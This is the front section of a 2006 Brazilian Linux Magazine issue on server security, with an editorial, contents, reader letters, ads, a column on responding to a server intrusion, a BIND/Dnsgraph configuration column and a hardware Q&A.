22 - servidor prova de invasao_ago_2006

#22 08/06

R$ 10,90 € 5,50

97

71

80

69

42

00

9

00

02

2

A REVISTA DO PROFISSIONAL DE TI

Linu

x M

agazin

e

# 22 # 22

A

go

sto

200

6

08/2006

WWW.LINUXMAGAZINE.COM.BR NOVO PROJETO GRÁFICO E EDITORIAL!

XANDROS NO BRASIL p.26Entrevista comJames Largotta

CARREIRA: CERTIFICAÇÃO p.24Linux Professional Institute, vale a pena?

FUI INVADIDO p.10Augusto Campos conta como proceder

» Raio-X: como agem os rootkits p.28» Gerenciamento de segurança com o AppArmor p.34

» A proteção granular do SELinux p.38» Novell e Red Hat confrontam suas soluções p.42

» Apache seguro com ModSecurity p.46

INVASÃOSERVIDOR À PROVA DE

VEJA TAMBÉM NESTA EDIÇÃO:» O que muda no Suse 10.1 p.50» Áudio profissional é com o JACK p.52» Otimize seus scripts Bash p.68» Manipulando imagens no Python p.70» A potência do GCC 4.1 p.74

SENDMAIL CONTRA O SPAM p.62Livre-se de emails indesejados

SAMBA 4 p.58Nova versão do servidor universal

Invasão

R

oo

tkits

Ap

pA

rmo

r S

ELin

ux

A

pach

e

Se

nd

mail

Sam

ba

Jack

Bash

S

use

10.1 G

CC

P

ytho

n

LPI

ex

em

pla

r d

e

Ass

inan

teve

nd

a

pro

ibid

a

http://supertuxbr.blogspot.com

Hospedagemde Sites e Servidores

INTERNET PARA PROFISSIONAIS DE INTERNET

Monitoramentode Rede

InternetData Center

Servidoresde Alta Disponibilidade

4003-1001 www.plugin.com.br

Gab

arit

o

Anu_Lunix_015.qxd 7/5/06 4:23 PM Page 1


3

Prezado leitor, prezada leitora da Linux Magazine, É notório que somente a disponibilidade do código-fonte de um sistema, en-quanto extremamente importante, não é suficiente para que o Linux “ganhe o jogo” contra os sistemas proprietários disponí-veis no mercado. Uma outra necessidade, tão premente quan-to a abertura do código, é a utilização de padrões abertos.

Todo mundo gosta de ter “alguém para estrangular” quando as coisas dão errado. Aquela empresa localizada em Redmond sempre fez questão de disseminar o medo, a incerteza e a dú-vida no mercado, lançando no ar a questão: “Se algo der erra-do na sua empresa ao usar Linux, quem vai pagar o pato?”

Quando se fala em software proprietário, fica muito fácil iden-tificar “quem estrangular”: é o fornecedor do aplicativo ou sistema. O problema, entretanto, é que o uso desse tipo de sistema causa o que se convencionou chamar de “aprisionamento ao fornecedor” vendor lock-in – algo especialmente crítico em casos de monopólio.

No caso do Linux e do Software Livre, o fornecedor da solução é que fica responsável pelo suporte técnico e pelas atualizações dos sistemas. Há apenas um porém: se essas soluções não segui-rem padrões abertos, o aprisionamento com o fornecedor está de volta, mesmo que em menores proporções. Afinal, se padrões como a LSB (Linux Standard Base) não forem seguidos, as solu-ções de um fornecedor não irão funcionar na plataforma do outro.

No final das contas, quando aliamos o Software Livre a pa-drões abertos, o resultado final é termos o melhor dos dois mun-dos: soluções sem aprisionamento a um determinado fornece-dor e vários “responsáveis para estrangular”. Se uma empresa não me atende, posso contratar uma outra, sem medo de que a solução que rodava na plataforma da primeira não funcio-ne na segunda. Se houver algum problema, há uma liberdade muito grande de experimentar os serviços de um outro fornece-dor. E como o código da solução está disponível, podemos até nos dar ao luxo de auditar toda e qualquer modificação efetu-ada. Tudo isso contribui ainda mais fortemente para o aumen-to da excelência dos serviços dos diversos fornecedores, bem como na redução dos custos, oriunda da competição entre eles.

Padrões e código abertos são assim, o combustível aditiva-do ideal para fazer qualquer departamento de TI ter um de-sempenho superior, com mais segurança e menor custo.

Rafael Peregrino da SilvaDiretor Editorial

Padrões abertos e Software Livre E

DITO

RIA

L

Expediente editorialDiretor Editorial Rafael Peregrino da Silva [email protected] Editorial e Diretor de Arte Luciano Hagge Dias [email protected] Tadeu Carmona [email protected] Pablo Hess [email protected]ção e Revisão Livea Marchiori [email protected] da Capa Luciano Hagge Dias [email protected] de Competência Centro de Competência em Software: Oliver Frommel [email protected] Centro de Competência em Hardware: Mirko Dölle [email protected] Centro de Competência em Redes e Segurança: Achim Leitner [email protected] & Colaboradores Achim Leiter, Augusto Campos, Amir Als-

bih, Bruno Gomes Pessanha, Charly Küh-nast, Dave Phillips, Hannes Kasparick, José Maria Ruíz, Klaus Knopper, Marcel Hilzinger, Markus Klimke, Mirko Dölle, Pedro Orantes, Ralf Spenneberg, René Rebe, Zack Brown.

Diretor Comercial Claudio Bazzoli [email protected]úncios: Claudio Bazzoli (Brasil) [email protected] Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Osmund Schmidt (Alemanha, Áustria e Suíça) [email protected] Brian Osborn (Outros países) [email protected]: www.linuxnewmedia.com.br [email protected] Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.ca – Canadá www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linux-magazin.ro – RomêniaApesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais impre-cisões nela contidas ou por conseqüências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor.Nenhum material pode ser reproduzido em qual-quer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, são forneci-dos para publicação ou licenciamento a terceiros de forma mundial não exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado.Linux é uma marca registrada de Linus Torvalds.Linux Magazine é publicada mensalmente por:Linux New Media do Brasil Editora Ltda. Rua Arizona, 1349 Conj. 5B – Cidade Monções 04567-003 – São Paulo – SP – Brasil Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410

Direitos Autorais e Marcas Registradas © 2004 - 2006: Linux New Media do Brasil Editora Ltda.Distribuição: DistmagImpressão e Acabamento: ParmaISSN 1806-9428 Impresso no Brasil

em processo de filiaçãoINSTITUTO VERIFICADOR DE CIRCULAÇÃO

Linux Magazine #23 | Setembro de 2006http://supertuxbr.blogspot.com

4 http://www.linuxmagazine.com.br

CAPAIntrodução: Proteção ativa 27 Rootkits, exploração de vulnerabilidades,

“buracos” no servidor web… felizmente, há tantas formas de invasão quanto de proteção.

Rootkit: Arma secreta 28 Os rootkits atuais infiltram-se nos sistemas alvo

no nível do kernel, e assim evitam a atenção indesejada dos administradores. Leiam mais para uma visão prática de como um rootkit funciona.

AppArmor: Armadura segura 34 Quando um agressor consegue comprometer

um sistema, ele ganha os privilégios da vítima. O AppArmor defende o ataque reduzindo permissões potenciais de cada aplicativo para um mínimo.

SELinux: Acesso sob controle 38 O SELinux fornece um forte sistema de controle

mandatório de acesso para o Linux. Isso é, se você estiver pronto para todos os detalhes.

Confronto: AppArmor x SELinux 42 Security Enhanced Linux ou AppArmor? A Linux Magazine

convidou duas personalidades conhecidas da Red Hat e Novell para discutir os méritos de seus sistemas de segurança.

ModSecurity: Cão de guarda 46 O módulo ModSecutity fornece grande proteção ao

servidor web Apache. Aprenda a configurar suas regras para garantir a segurança sem desperdiçar desempenho.

ÍND

ICE


5

COLUNASAugusto Campos 10Charly Kühnast 12Klaus Knopper 14Zack Brown 16

NOTÍCIASGeral 18➧ Google lança repositório de Software Livre

➧ Lançado SUSE Linux Enterprise 10

➧ OpenDarwin fecha as portas

➧ 800 mil computadores para todos vendidos

➧ Novell cancela distribuição de drivers fechados

➧ Celulares Motorola com Linux

➧ Fedora Women

➧ Curso de programação Linux na Mandriva Conectiva

➧ Distribuição em destaque: back track 1.0

Segurança 20➧ Múltiplas falhas no OpenOffice.org

➧ Sendmail

➧ Opera 9

➧ Kdebase

➧ aRts

➧ Freetype

➧ wv2

➧ Xine-lib

➧ MySQL

➧ Hashcash

CORPORATENotícias 22➧ Compra da ATI pela AMD pode beneficiar Linux

➧ Recorde em bancos de dados com IBM e Sybase

➧ Xandros oferece Linux para versões órfãs do Windows

➧ Linux expande processamento e armazenamento em indústria alimentícia

➧ Novo gerente de Marketing da Red Hat no Brasil

➧ Parceria entre Mandriva Conectiva e Vexx

Artigo: Certificação 24Entrevista: James Largotta 26

ANÁLISESuse 10.1: Vai um upgrade? 50 Algumas mudanças importantes ocorreram na

nova versão do Suse Linux, da Novell. Veja se vale a pena atualizar ou migrar sua máquina.

TUTORIALJack, o servidor 52 Profissionais de áudio necessitam de um sofisticado

servidor de som. Com alta qualidade de som, possibilidade de sincronia em tempo real e ampla conectividade através de redes, o JACK é o servidor de áudio que está se tornando o padrão para profissionais no Linux.

SYSADMINSamba 4 :: Samba do futuro 58 Uma versão de demonstração de novas tecnologias do Samba

4 foi liberada no final de janeiro. Mostramos aqui o que trará a próxima suíte de serviços de arquivo e impressoras Samba.

Sendmail :: Fora spam! 62 O spam é uma praga digital e deve ser combatido como tal. O

Sendmail oferece diversas abordagens, tanto sozinho quanto acompanhado, para filtrar mensagens indesejadas. Entenda os princípios da filtragem de spam com o Sendmail e outros componentes que podem ajudar muito nessa tarefa, e veja qual abordagem oferece o custo-benefício que você espera.

Bash :: Eficiência interna 68 O Bash é o shell padrão de (quase) todas as distribuições Linux.

Ele pode automatizar tarefas chamando programas externos em forma de scripts. Mas existem funções internas do próprio Bash que podem tornar seus scripts mais rápidos na escrita e na execução, sem chamar qualquer programa externo.

PROGRAMAÇÃOPython planetário 70 Quem nunca quis se sentir como os técnicos da NASA

em seu centro de controle? Hoje vamos criar o nosso próprio para monitorar o planeta e seus arredores.

GCC 4.1 :: Teste de vôo 74 A nova versão do compilador GNU (GCC) vem com

uma safra novíssima de otimizações e suporte a Objective-C++. O parser descendente introduzido na versão 4.0 agora é usado para C e Objective-C.

SERVIÇOSEditorial 03Emails 06Linux.local 78Eventos 80Índice de anunciantes 80Preview 82

Linux Magazine #22 | Agosto de 2006

| ÍNDICELinux Magazine 22



EMAILS | Escreva pra gente

Emails para o editor

Permissão de escritaSe você tem dúvidas sobre o mundo Linux, críticas ou sugestões que possam ajudar a melhorar a nossa revista, escreva para o seguinte endereço: [email protected]. Devido ao volume de correspondência, é impossível responder a todas as dúvidas sobre aplicativos, configurações e problemas de hardware que chegam à redação, mas garantimos que elas são lidas e analisadas. As mais interessantes são publicadas nesta seção.

✎ CD do assinanteAtravés desta venho manifestar meu des-

contentamento com a nova política adotada pela Linux Magazine com relação ao envio de CDs. Ocorre que, desde o lançamento des-ta revista, tenho adquirido meus exemplares nas bancas de revistas e estranhei muito ao comprar os dois últimos números (a saber: 17 e 18 ), porque não vieram com seus respecti-vos CDs. A princípio imaginei que fosse um erro da banca ou talvez da editora (quando comprei o nº 17), porém hoje, ao adquirir o nº 18 (também sem o CD), liguei para a editora e me informaram que somente assi-nantes têm acesso aos CDs. Espero que vo-cês consigam atingir seus objetivos (acredito que seja angariar novos assinantes), todavia, se houverem mais pessoas como eu, talvez seja interessante repensar essa política, pois de minha parte pretendo não mais comprar essa revista (o que é uma pena, pois gosto muito de suas matérias).

João Sérgio CaciolaEntendemos a sua posição e esperamos que

você entenda a nossa: o CD-ROM sempre foi muito mais um brinde, uma espécie de “tira-gosto”, mas sempre foi muito limitado pela fal-ta de espaço disponível na mídia. A estratégia da editora agora é fornecer DVD-ROMs com distribuições na íntegra aos interessados. Essa é uma solução muito mais completa e podemos servir melhor nossos clientes dessa forma.

Com a retirada do CD-ROM da revista, fomos capazes de realizar uma grande redução do preço de capa para as bancas (e somente para as bancas) e, além disso, aumentar a quantidade de revistas que vão para as bancas em 37%! Ou seja, ficou mais fácil encontrar

a revista nas bancas do país. Além disso, há um link no nosso site para baixar a imagem da distribuição do mês. O leitor que deseja comprar a revista na banca não está sendo onerado pelo custo do CD-ROM, podendo pagar mais barato pela revista.

Essa estratégia de fornecer DVD-ROMs ao invés de CD-ROMs está, inclusive, chegando também ao assinante: a partir da edição 22 da Linux Magazine, os assinantes irão dei-xar de receber o CD-ROM mensal e poderão optar pelo recebimento gratuito de um DVD- ROM semestral, com uma distribuição Linux completa e customizada, além de material adicional. Assim, poderemos oferecer um pro-duto de valor agregado muito superior e, em um semestre, o conteúdo equivalente a 8 CD-ROMs. Também poderemos dedicar um artigo de análise do conteúdo do DVD-ROM muito mais abrangente, com um tutorial de instalação detalhado, guia de utilização básico etc.

De qualquer forma, se as nossas mídias são um diferencial que você deseja adquirir, realmente temos que lhe recomendar a reali-zação da assinatura. Além do DVD-ROM, há também diversas outras vantagens em assinar: descontos especiais de acordo com a vigência da assinatura, não perder nenhum exemplar da revista, um grande desconto por ocasião da renovação, entrega garantida em casa todos os meses, participação em promoções especiais da editora, garantia do seu dinhei-ro de volta, renovação sem complicação etc. Atenciosamente,

Rafael Peregrino da SilvaDiretor Editorial

Email do mês✎ LTSP

Já acompanho a revista há mais de um ano e as matérias são de excelente conteúdo (aproveito para parabenizá-los). Meus colegas de trabalho e eu configu-ramos recentemente um servidor LTSP e ficamos bastante empolgados com os resultados. Estamos agora com dificul-dades na criação dos boots remotos. Os terminais estão acessando com imagens criadas em disquetes. Gostaria de sugerir uma matéria a respeito desse projeto.

Cleanto SilvaObrigado pelo email, Cleanto. Re-

centemente, publicamos um tutorial de um assunto parecido na edição nº 20. No entanto, o artigo não aborda especifica-mente o LTSP, mas sim a configuração de uma rede de thin clients e rich clients com Gentoo Linux. ■

EM

AIL

S

sanj

a gj

ener

o –

ww

w.s

xc.h

u


www.itautecshop.com.brC O M P R E D I R E T A M E N T E D O F A B R I C A N T E

0800 121 444De 2ª a 6ª, das 8h às 20h. Sábado, das 9h às 18h. Domingo, das 9h às 15h.

PRESENTE EM MAISDE 2.700 CIDADES.

Ofertas válidas até 10/8/2006 ou enquanto durarem os estoques. Celeron, Celeron Inside, Centrino, o logotipo Centrino, Core Inside, I ntel, o logotipo Intel, Intel Core, Intel Inside, o logotipo Intel Inside, Intel SpeedStep, Intel Viiv, Itanium, Itanium Inside, Pentium,Pentium Inside, Xeon e Xeon Inside são marcas registradas ou marcas da Intel Corporation ou de suas filiais nos Estados Unidos e em outros países. *Financiamento para pessoa jurídica através do cartão BNDES, com taxa de 1,22% a.m. Necessário possuir o cartãode crédito citado, sujeito a confirmação da disponibilidade da linha de crédito para as localidades e limite para a operação. Con sulte nossa Central de Atendimento para informações sobre outras condições de financiamento para pessoa física ou jurídica pelo telefone0800-121-444. **Entrada de R$ 49,00. Financiamento através da Caixa Econômica Federal. Programa Computador para Todos. Limite máximo de financiamento de 24 meses. Juros de 2% a.m. e TAC de R$ 40,00. Operação isenta de IOF. ***Garantia de um ano onsite, de 2ª a 6ª, das 8h30 às 18h, em um raio de 50 km do Centro de Serviços Itautec mais próximo. ****Para possibilitar o acesso à internet são necessários uma linha telefônica ou banda larga e um provedor à sua escolha. A velocidade de comunicação de 56Kbps depende e pode variar de acordo com o tipo e a qualidade da linha telefônica utilizada. *****Garantia balcão de um ano para partes, peças e serviços. Preços com impostos inclusos para São Paulo. Frete não incluso. Demais características técnicas e decomercialização estão disponíveis em nosso site e no Televendas. Fica ressalvada eventual retificação das ofer tas aqui veiculadas. Quantidade: 10 unidades de cada. Empresa/produto beneficiado pela Lei de Informática. Fotos meramente ilustrativas.

DPZ

Foto

ilu

stra

tiva

.

Foto

ilu

stra

tiva

.

SEJA LIBRIX NA RUA, SEJA LIBRIX EM CASA,SEJA LIBRIX NO TRABALHO.

Itautec MinitorreCódigo da oferta: IN-521LX

IDEAL PARA ACESSO À INTERNET E COMUNICAÇÃO.****

• Processador Intel® Celeron® D 315 (256 KB de cache L2, 2.25 GHz,FSB 533 MHz) • 256 MB de memória • HD 40 GB • Floppy • CD-RW • Placa de vídeo integrada • Placa de rede integrada • Fax/Modem 56 Kbps • Teclado e mouse • Monitor de 15”• LIBRIX - Distribuição Linux Itautec • 1 ano de garantia balcão*****

Agora, além do Librix (Linux da Itautec), a sua empresa podecontar com o melhor e mais estável pacote de hardware e software do mercado, testado e homologado pela Itautec.

Toda a liberdade que você precisa para trabalhar com maismobilidade, usando a internet sem fio, e ainda operar comsoftware livre.

É mais segurança, porque a Itautec oferece suporte técnicoespecializado via internet ou pelo telefone, serviços de tuninge configuração e ainda atendimento nacional on site.

Tem alta tecnologia para os aplicativos como editor de textos,planilha eletrônica, editor de imagens e apresentações. É maisfacilidade e maior flexibilidade no seu dia-a-dia. Na hora detrabalhar, não se sinta preso. Seja Librix.

Servidor Itautec LP100Código da oferta: SI-305LX

MELHOR RELAÇÃO CUSTO-BENEFÍCIO.

• Processador Intel® Pentium® 4 530 com Tecnologia HT (1 MB de cache,3 GHz, FSB 800 MHz) • 256 MB de memória DDR2 400 com ECC • HD SATA 80 GB fixo • Floppy 1,44 MB • CD-ROM 52x IDE • Placa de vídeo 32 MB • 2 interfaces de rede Gigabit • Teclado e mouse • Não inclui sistemaoperacional • 1 ano de garantia on site***

Parcelas a partir de R$ 71,52*

Financiamento em até 36xR$ 2.099,00 à vista

• Compre com 256 MB de memória eleve com 512 MB, sem custo adicional• Software de gerenciamento: AutoManager Server Monitor

Monitor de 15” incluso

R$1.249,00 à vista

ou 24 parcelas de R$ 57,28

A solução completa.

Condições para venda a pessoa física através do Programa Computador para Todos.**

Cyan Magenta Yellow Black

Os: 605577 Form: 204x275 Operador: RodrigoAgência: DPZ Cliente: ItautecMídia: Anunc. Perfil: Analogico Prova: Chromedot

605577_204x275U 7/12/06 10:02 PM Page 1



EMAILS | Escreva pra gente

✎ PhantomLiveCDGostaria de sugerir um artigo sobre

o PhantomLiveCD, que se encontra em http://phantom.nasheer.net. É um projeto recente, porém promissor, cujo objetivo é clonar sistemas, tal como faz o Norton Ghost, porém com muito mais facilidade e muito mais recursos. Entre esses recursos, a capacidade de gravar em diversas mídias, como rede, HD externo, HD local, pendrive e, indiretamente, CD e DVD, e restaurar o sistema a partir de todas essas mídias.

Além desses, há muito mais recursos, sem contar a simpli-cidade que é uma única mídia para diversos tipos de placas de redes, suporte a HDs SATA e IDE, suporte a teclado USB e no mo-mento, e está sendo desenvolvido o suporte à internacionalização, pois um grupo argentino está trabalhando na tradução.

Já está sendo usado por diversas empre-sas, entre elas a Uranet - Projetos e Siste-mas, que possui mais de 1.000 máquinas em dois edifícios, além de atendimento especial, dado por deficientes físicos, que

possuem um CD de restore, sendo que a imagem do sistema está contida em uma partição do disco de seus computadores, fornecidos pela Uranet. ■

Djames Suhanko

✎ KnoppMythGostaria de sugerir que alguma das

edições da revista venha com o CD da distribuição KnoppMyth.

RobertoObrigado pela sugestão Roberto.

Essa é uma distribuição realmente bem interessante. ■

✎ Linux do zeroTenho todas as edições da Linux Ma-

gazine. Gostaria de ver publicado na re-vista um curso de como criar um Linux do zero; mas por favor, não façam pelo Kurumin, já não agüento mais ouvir falar nesse sistema. Existem tantos outros… Nem queria algo baseado no Debian/Knoppix/Kanotix. Por que não um Suse ou um Mandriva? O curso seria do iní-cio, somente as pastas, depois o kernel, depois programas e comandos via texto, depois o ambiente gráfico, depois... No início eu queria apenas ter o sistema sem nenhum ambiente gráfico. Não queria usar um terminal, queria apenas um Li-nux enxuto e ir acrescentando partes por módulos, como se ensina aqui: http://komain.sourceforge.net/

Robson DantasTalvez você já conheça, Robson, mas um

“curso” desse tipo já existe: o Linux From Scratch. Inclusive em português brasileiro: http://lfs-br.codigolivre.org.br/. ■

ErrataA nota “Software Livre em prefeituras”, da seção Notícias da edição nº 20, foi publi-cada com um erro de informação. ABEP significa Associação Brasileira das Enti-dades Estaduais de Tecnologia da Infor-mação e Comunicação. A sigla foi expli-cada erroneamente como Associação Brasileira de Empresas de Pesquisa.


oracle.com/standardeditionou ligue para 0800 901 985

Banco de Dados Oracle 10gFácil de usar. Fácil de gerenciar.

Copyright © 2006, Oracle. Todos os direitos reservados. Oracle, JD Edwards e PeopleSoft são marcas registradas da Oracle Corporation e/ou de suas afiliadas. Outros nomes podem ser marcas comerciais de seus respectivos proprietários.

A partir R$ 327,00 por usuário

As seguintes condições e restrições são aplicáveis: o Banco de Dados Oracle 10g Standard Edition One está disponível para licenciamento em duas modalidades: Named User Plus a R$ 327,00 por usuário com um licenciamento mínimo de cinco

usuários e Processor a R$ 10.974,00 por processador. O licenciamento do Banco de Dados Oracle 10g Standard Edition One é permitido em servidores que tenham capacidade máxima de 2 CPUs por servidor. Aos valores acima serão acrescidos os

tributos aplicáveis. Oferta válida até 31/05/2006. Para mais informações, visite www.oracle.com/standardedition.

O Banco de Dados número 1 do mundo

também para pequenas e médias empresas

Banco de Dados Oracle 10g

Agora



Um dos meus livros preferidos na área de administra-ção de sistemas é o Linux System Administration, que tem como um de seus co-autores Jim Dennis,

que muitos fãs antigos de Linux devem conhecer como o titular por muitos anos da coluna “The Answer Guy”, da Linux Gazette. Ele foi publicado em 2000 (com prefácio de Eric Raymond), mas consegue se manter atual por não se fixar tanto nos procedimentos da administração

de sistemas, mas sim nos métodos, técnicas e mesmo na filosofia que permeia toda essa arte e ciência. Se você encontrar alguma edição à venda por um preço ca-marada, definitivamente vale a pena.

Os conselhos do livro são diretos e sólidos. Al-guns itens até parecem óbvios, mas freqüente-mente não são atendi-dos, como o conselho de que todo script de mo-nitoramento que man-de resultados por email deve colocar no campo de assunto um resumo de seu resultado, e não

apenas a identificação do script, data e servidor. Nossa vida seria muito mais fácil se pudéssemos saber que está tudo ok sem ter de ler o email inteiro, e se pudéssemos saber rapidamente quais emails de relatório ler primeiro e quais simplesmente arquivar, certo?

Mas o livro tem um capítulo – extremamente curto – que cai como uma luva para o tema desta edição da Li-nux Magazine: o que fazer quando um servidor é invadido. Embora muito já se tenha escrito a respeito, as pessoas con-tinuam cometendo os mesmos erros quando descobrem esse que é um dos piores pesadelos dos administradores de rede — e isso às vezes as leva a um ciclo sem fim de formatações, reinstalações e novas invasões.

O procedimento proposto leva um pouco mais de tempo, mas evita os atos impensados e os círculos viciosos. Começa

por uma decisão: haverá interesse em usar o servidor in-vadido como prova em algum processo? Em caso positivo, não há outra forma de ação possível: você terá que colo-cá-lo de lado (desconectado da rede, é claro) e fazer uma nova instalação em outro equipamento, no qual retornará o backup mais recente de todos os seus dados.

Depois verifique a natureza da falha, usando inclusive um detector de rootkits. Se a invasão se limitou a contas de usuários comuns, é possível (embora raro) que baste restaurar os dados, educar o usuário cuja senha foi desco-berta e ativar um monitoramento mais estrito das conexões a essa máquina no futuro próximo. Mas, se há suspeita de invasão com acesso de superusuário, de modo geral será necessária a reinstalação em um sistema de arquivos limpo, seguida de um procedimento que corrija a falha usada para a invasão (antes de recolocar o equipamento na rede). Mas antes de reinstalar, vale a pena preservar todas as informações que podem ser importantes para identificar o que houve: logs, históricos de comandos etc. Muitas vezes eles são removidos ou “limpos” pelo invasor, mas às vezes há pistas suficientes para compreender o que foi feito e de que forma. Uma dica importante é investigar também os logs de outras máquinas da mesma rede, que não tenham sido invadidas.

Mas a parte mais importante, e mais freqüentemente negligenciada, vem depois que tudo está reinstalado e funcionando: a revisão geral dos procedimentos e políti-cas de segurança. Se não houver pessoas habilitadas para fazer essa análise, isso é um sinal claro de problemas – e você deve considerar a idéia de procurar um profissional habilitado e de confiança. Não leve a política de seguran-ça a se tornar um obstáculo ao trabalho dos usuários, mas, ao mesmo tempo não abra mão de procedimentos mais seguros em nome da simples conveniência: o sucesso está no equilíbrio. ■

Meu servidor foi invadido: e agora?

Augusto CamposSaiba o que fazer após desconectar a máquina da rede, antes de decidir que a formatação é a única saída.

Nossa vida seria muito mais fácil se pudéssemos saber que está tudo ok sem ter de ler o email inteiro, e se pudéssemos saber rapidamente quais emails de relatório ler primeiro e quais simplesmente arquivar, certo?

CO

LUN

A

O autorAugusto César Campos é administra-dor de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Soft-ware Livre no Brasil e no mundo.



Recentemente ouvi falar de um gênio da memória que conseguia se lembrar do valor de pi com milha-res de casas decimais; por outro lado, essa mesma

pessoa era incapaz de explicar o valor prático desse exer-cício. Pessoas assim não precisam de um servidor DNS, pois poderiam decorar alguns milhares de endereços IP. Mas pessoas normais como você e eu provavelmente pre-ferem um DNS. E se você roda um servidor de nomes local, com certeza gostará do Dnsgraph [1].

O nome do projeto sugere similaridade com outros projetos como o Mailgraph e o Queuegraph [2]; realmen-te, o Dnsgraph se baseia no Mailgraph. A ferramenta lê as informações de status a partir de um arquivo gerado

pelo meu servidor DNS Bind 9 [3], e depois converte os números num gráfico.

Para acessar essa informação, eu uso o Rndc, um pro-grama de controle que vem no pacote Bind e me permite enviar comandos assinados digitalmente para o servidor de nomes. Isso me permite mandar o servidor gravar as informações de status num arquivo, que o Dnsgraph depois processa. Além do Rndc, também preciso do RDDtool e do módulo de Perl File::Tail.

Hora da configuraçãoMeu arquivo de configuração do Bind, named.conf, já

possui uma seção options, como de costume. Eu acres-cento a seguinte linha:

statistics-file “/caminho/até/o/named-stats.log”;

Depois eu acrescento os blocos do exemplo 1 para suportar a comunicação com Rndc. A contraparte disso, apresenta-da na exemplo 2, pertence ao arquivo de configuração do Rndc, normalmente /etc/rndc.conf. Isso deve permitir que o Rndc passe comandos ao Bind. O comando rndc stats faz o Bind criar o arquivo de registro que configuramos antes e adicionar nele algumas informações.

Preciso acrescentar o caminho até o arquivo de registro, ou até o RRD, em dnsanalise.pl e dnsreport.pl. No dnsgra-ph.pl tenho que modificar o caminho da saída (TARGET) e o outro até os scripts do Dnsgraph. As últimas configurações são das entradas do cron. O pacote traz um arquivo de exemplo dnsgraph.cron, então eu só preciso modificar as entradas do caminho de acordo com meu ambiente.

O último passo é executar o processo de avaliação. Quinze minutos depois, o RRDtool me dá os resultados (veja a figura 1), tão claros que ninguém duvidará de seu valor prático. ■

Dnsgraph: o mestre dos gráficos

Charly Kühnast

O Dnsgraph lê as informações de status a partir de um arquivo gerado pelo meu servidor DNS Bind 9, e depois converte os números num gráfico

CO

LUN

A

O autorCharly Kühnast é administrador de sis-temas Unix no datacenter Moers, per-to do famoso rio Reno, na Alemanha. Lá ele cuida, principalmente, dos firewalls.

Exemplo 1: Acrescentar ao named.conf01 key “rndc-key” {02 algorithm hmac-md5;03 secret “senha_secreta”;04 };05 06 controls {07 inet 127.0.0.1 port 95308 allow { 127.0.0.1; } keys { “rndc-key”; };09 };

Exemplo 2: Configuração do Rndc01 key “rndc-key” {02 algorithm hmac-md5;03 secret “senha_secreta”;04 };05 06 options {07 default-key “rndc-key”;08 default-server 127.0.0.1;09 default-port 953;10 };

Mais Informações[1] Dnsgraph: http://dnsgraph.sourceforge.net

[2] Charly Kühnast, “The Sysadmin’s Daily Grind: Explicit markup ends without a blank line” – Linux Magazine International, Junho/2005, p. 55.

[3] Bind :http://www.isc.org/index.pl?/sw/bind/



✎ Drivers SATA Acabei de montar um computador com Linux pra mim. Tudo nele é da última moda. Os componentes são: ➧ 3 discos SATA2 (WD 320 GB) 7200 RPM, com 16 MB

de buffer ➧ 512 MB DDR2 533FSB ➧ CPU Intel P4 630 – 3GHz 800FSB/2M box ➧ Placa-mãe Asus P5LD2 VM All-in-1 ➧ DVD-RW Plextor

Quando tento instalar o Linux nela (Red Hat 9), a ins-talação pára no meio. Depois de eu selecionar a língua, o Linux reclama que eu tenho de selecionar “um driver de dispositivo”.

Note que nenhuma seleção de drivers que eu fi z funcionou. Não acredito que seja o CD-RW, já que ele lê o CD de instalação. Desabi-litei a placa de som e a Internet na BIOS.

Como os discos SATA2 são novos no mercado, acho que são eles a causa da recla-mação.

Já mandei as seguin-tes perguntas para a Red

Hat, ASUS e Western Digital, e não recebi nenhuma resposta: ➧ A sua empresa tem drivers de dispositivos SATA2 para

RedHat (versão 9)? ➧ Vocês conhecem algum site central que tenha drivers

de dispositivos que suportem seu hardware? ➧ Vocês conhecem algum produto Linux além do Red

Hat que suporte os novos discos SATA2? Klaus, talvez você possa me ajudar com esse problema.

O que eu posso fazer? Resposta Drivers para SATA2 não dependem de uma distribuição

específi ca (ou melhor: as distribuições não devem depen-der de um kernel específi co). Então há grandes chances de você conseguir drivers para a sua máquina a partir dos fontes “normais” do kernel, em www.kernel.org . Compilar um kernel (ou módulos dele) não é terrivelmente difícil, mas escolher as opções corretas para a sua máquina pode ser. Você terá que saber qual chipset SATA2 a sua placa-mãe usa, e também os outros componentes de hardware, para saber que opções marcar ou desmarcar na confi gu-

ração do kernel. Existem algumas empresas comerciais de código aberto, assim como grupos de usuários Linux, que podem ajudá-lo aqui.

Encontrei citações à sua placa-mãe na lista de suces-sos de hardware do Ubuntu, então ela já deve ser bem suportada pelos kernels atuais. Você pode tentar ver se os seus discos são reconhecidos usando uma versão atual do Knoppix ou do LiveCD do Ubuntu. Quando você sou-ber que os seus discos estão funcionando com um kernel mais novo, deverá ser possível atualizar o kernel no seu sistema atual, ou instalar uma distribuição que ofereça esse suporte. ■

✎ Aposta de janelas Por favor me ajude a resolver uma aposta. Meu sistema fi cará signifi cativamente mais veloz se eu fechar as janelas que estejam minimizadas na barra de tarefas?

Resposta Esta questão não é fácil de resolver para uma aposta,

porque depende dos programas que abriram as janelas. Se forem ávidos consumidores de memória e CPU, naturalmen-te o seu sistema fi cará mais rápido se você os fechar.

Você pode usar o nice ao iniciar o programa, ou o renice depois, para dar menos prioridade ao processo. Assim, os outros programas facilmente passam na frente dele quan-do forem usar a CPU.

Mas você está certo ao achar que um programa que não esteja rodando não pode consumir recursos do sistema.

O OpenOffi ce.org, por exemplo, mesmo rodando em segundo plano ( background ) consome muita memória e pode tornar outros processos mais lentos.

Um caso mais comum de programas devorando re-cursos do sistema é um navegador como o Konqueror ou o Firefox exibindo fi guras animadas, fl ash ou applets java que consumam muita CPU e memória. Você pode veri-fi car isso com o comando top . Se você vir muitos recursos consumidos por esses programas, pode reiniciá-los.

No Konqueror, é possível ativar o início dos plugins sob demanda, evitando assim o rápido consumo de recursos. Então, ganhou a aposta? ■

Pergunte ao Klaus!

Klaus Knopper
